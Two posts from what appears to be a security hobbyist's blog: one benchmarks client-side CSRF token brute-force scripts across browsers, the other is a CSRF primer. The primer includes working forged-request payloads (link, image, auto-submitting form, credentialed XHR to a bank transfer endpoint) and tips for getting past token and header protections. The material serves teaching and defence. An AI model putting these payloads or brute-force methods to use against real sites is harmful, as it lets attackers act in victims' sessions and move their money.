I tested my modified scripts against Desish's vulnerable page and also a remote site on the net. For each run I calculated the maximum number of requests it was possible to send per second. The results are meant only as a rough guide, as the brute force speed is heavily dependent on the exact code used and a number of external factors.

Edit: Some of these numbers may be a little off as I discovered Chrome/IE were lying to me :) To get accurate numbers I'd recommend checking what packets are actually being sent with Wireshark.











Chrome22 IE9 FF16

Debasish Local 29 25 14


Remote 7 8 7

Tyler Local 60 79 10


Remote 30 30 1









Debasish vs Tyler

The first thing you'll notice is that Tyler's script is a lot faster. Debasish's script spends too much time creating and adding all of the iframes to the DOM and then suddenly tries to load them all creating a bottleneck. Tyler's script however sequentially executes requests one by one making it more CPU/memory/network efficient.

Local vs Remote

The second thing you'll probably notice is that remote requests are a lot slower than local requests.While this is to be expected it's important to emphasize just how much of an issue this is for brute forcing. Forget about fancy protections, latency is the single biggest issue when it comes to online brute force attacks. In most cases it will simply take too long to establish connections for the hundred/thousand/millions requests needed, making brute force unfeasible. Also much like latency, the cap on concurrent connections severely limited throughput. All browsers implement a cap and there is no way around it.

For example when trying to brute force a relatively small five character token consisting of lowercase and uppercase letters and numbers the search space will consist of 62^5 = 916 million possible combinations. Performing 10 requests a second it will take nearly three years to try every combination, uh oh!

Chrome vs IE vs Firefox

The last thing I'll mention is browser differences. Firefox seemed to use some kind of throttling (not sure if this was intentional or just a technical limitation) to prevent the browser from rapidly sending requests. Often requests would be dropped with no explanation.

Chrome and IE both performed really well. I found this surprising as I assumed Chrome would whoop IE but it looks like Microsoft have done a good job with IE9. Averaging 1 request every 17ms ain't easy! For more information on the differences between browsers it's worth checking out: http://www.browserscope.org/?category=network


Hey! What about scaling?

I only did a few quick tests with Tyler's script but it seemed to scale pretty well. As mentioned already Debasish's script will need a re-write to scale properly. Also be aware that when sending a large number of requests you will blow up the developer tools, so disable them!


Are there any limitations?

Yes, quite a few.

Client-side limitations
  • Browser has a max number of concurrent connections
  • User must allow Javascript execution
  • Browser's built in CSRF protections
  • Processing speed of browser
  • Memory of browser

Server-side limitations
  • Latency between browser and web server
  • CSRF protection mechanisms e.g. Referrer/Origin checking
  • Server processing speed
  • Application layer or network layer lock-outs
  • Max number of concurrent connections for your ip
  • ISP may block large number of requests

Quite an ominous looking list. But interestingly the scripts I've covered in this post will still work on weak tokens for sites that do not implement lock-outs or origin checking.


Possible improvements and the future?

I know I said latency was the biggest issue but I think if you take a step back you realise its current CSRF techniques that are the real issue, fundamentally you are limited to the browser and to using javascript.

With that said there is more work that I think can be done with client-side CSRF brute forcing. I had only a limited amount of time to research, develop and test everything and I'm not even a web developer! :) I'd be really interested to see what other folks could do if they carried on developing this code.

Threading was not something I really discussed in this post but the setInterval method and web workers offer a lot of possibilities. Also low level efficiency is really important, opening and closing connections is really inefficient as is waiting for replies. If you could open one connection, pipe data over it and not wait for responses you've got yourself a great candidate for a brute forcer.

Using perl/python/c/java/ruby script you have a lot more flexibility. Unfortunately for CSRF to suceed the request must be performed client side which means that usually others languages can't be used. Or can they? :)


As usual I want to finish this post by saying I'm no expert with CSRF or browser internals so I have likely missed the obvious or done things completely back to front! I enjoy playing around with code and for me its a great learning experience that I want to share with others. If anyone has any ideas, corrections or comments feel free to drop me a comment below.

Cheers,

PwnDizzle

Thursday, 15 November 2012

Back to Basics: CSRF

I've recently been playing with client-side CSRF token brute forcing. It's cool stuff but for folks who aren't so hot on CSRF (or just need a refresher!) I thought I'd do a quick CSRF back to basics. As CSRF has been talked about a lot before I'm going to try and keep it brief covering some simple attacks and mitigations.

For a basic introduction the best place to start is OWASP:


In a nut shell, we are tricking a user into sending our malicious request to a remote server, using their already established session. This is usually possible because the structure and contents of a vulnerable request is known ahead of time and it's just a matter of creating the request and convincing a user to send it. Awesome, so we can perform actions as another user? Yep!


How do you actually launch a CSRF attack?

If the target site has a vulnerable page that is accessed using a GET request, all we need to do is create a webpage or email containing either a malicious link or image and trick the user into accessing it. The user will run the code and unknowingly send a malicious request to a third party site. From OWASP:

<a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a>

Or:

<img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="1" height="1" border="0">

For a vulnerable page that uses a POST request we can create a webpage with a form and some javascript to auto-submit it. When the user visits the page it will submit the request using their session cookie. The form "action" should link to the target site and the parameters should be identical to a legitimate request. 

<html>
<body>
    <form action="http://bank.com/Home/Transfer" method="post" name="badform">
        <input name="accountId" type="hidden" value="1234" />
        <input name="amount" type="hidden" value="1000" />
    </form>
<script type="text/javascript">
        document.badform.submit();
    </script>
</body>
</html>

The above examples can also be created using jquery or pure XHR, for example:

<script>
function xhrcsrf(){
var http = new XMLHttpRequest();
http.open(POST, "http://bank.com/transfer.php" , true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.withCredentials = "true";
http.onreadystatechange = function() {
 if(http.readyState == 4 && http.status == 200) {
  alert(http.responseText);
 }
}
http.send("accountID=1234&amount=1000");}
xhrcsrf();
</script>

To test these examples you probably want to install xampp on Windows or apache on Linux. And for a vulnerable page I used Debasish's simple profile.php and submit.php script here:



How to protect against CSRF?

CSRF relies on the static nature of requests and the ability to send cross domain requests. By making requests unique and checking where they originate from you can easily prevent CSRF.

To make requests unique commonly a random value, or token, is included as a parameter. An attacker will not know this value ahead of time and will be unable to craft a static malicious page that can send a valid request.

For example a unique token could be generated server-side using the current time, a secret key value and a complex math function. This value is returned when the user loads a page on a site and is submitted with all requests back to the server. Assuming everything else is secure, there is no way for the attacker to know this token without knowing the underlying token generation algorithm.

Below is a status update to Facebook. I've circled the token they use to prevent CSRF.


The other protection mechanism I mentioned was sender verification. To verify the source of the request the receiving page can inspect the Referrer or Origin header of the request. A simple check would verify that the request came from your legitimate domain and not from another site (cross-domain). 

There's a great article about CSRF protections that is far more in-depth here:



How to get around CSRF protections?

This is where things get a bit tricky. If a site is checking the Origin or Referrer header of your requests you're stuck. Browsers set these headers and unless you can modify the traffic leaving the browser (malicious extension?) or on the wire (mitm), then there is no way to tackle this.

EDIT: I was actually wrong about this. Kotowicz has some work arounds here: http://blog.kotowicz.net/2011/10/stripping-referrer-for-fun-and-profit.html


Chrome added these headers.

One exception is if you can include your code somewhere on the target site, e.g. XSS, which can be leveraged for CSRF.

So what about tokens? If implemented correctly they work perfectly well and will prevent CSRF attacks. However, quite often tokens are not implemented correctly allowing us to bypass the token check or possibly brute force the token. For example:


One missed token check and you have a serious CSRF vulnerable (as well as a $5000 payout :D).


Can you brute force the token?

It depends on the entropy (complexity) of the token. You need to analyse it's length, character set, does it repeat, are there any static characters, are there relationships between characters, all of these factors determine it's entropy (Burp Sequencer can help with analysis). If a token has a high level of entropy there will be too many possible combinations and it will take too long to brute force. You also need to think about other more practical issues such as latency, which could make the attack unfeasible, or server-side lock outs. Five failed attempts and you get locked out? Brute force ain't gonna work but denial of service will :)

One of the best tools for brute forcing tokens is Burp Suite Repeater as it allows you to send a large number of requests iterating through token values until you find the correct one. Its quick and easy but requires you to have a valid cookie.

What if you don't have the target user's cookie? That's where client-side brute forcing comes in! :)


**********************

In my next post I'm going to continue with the CSRF theme and look at some interesting client-side CSRF token brute forcing examples.

Feedback and comments are always appreciated, feel free to leave a message below.

Cheers,

PwnDizzzzzle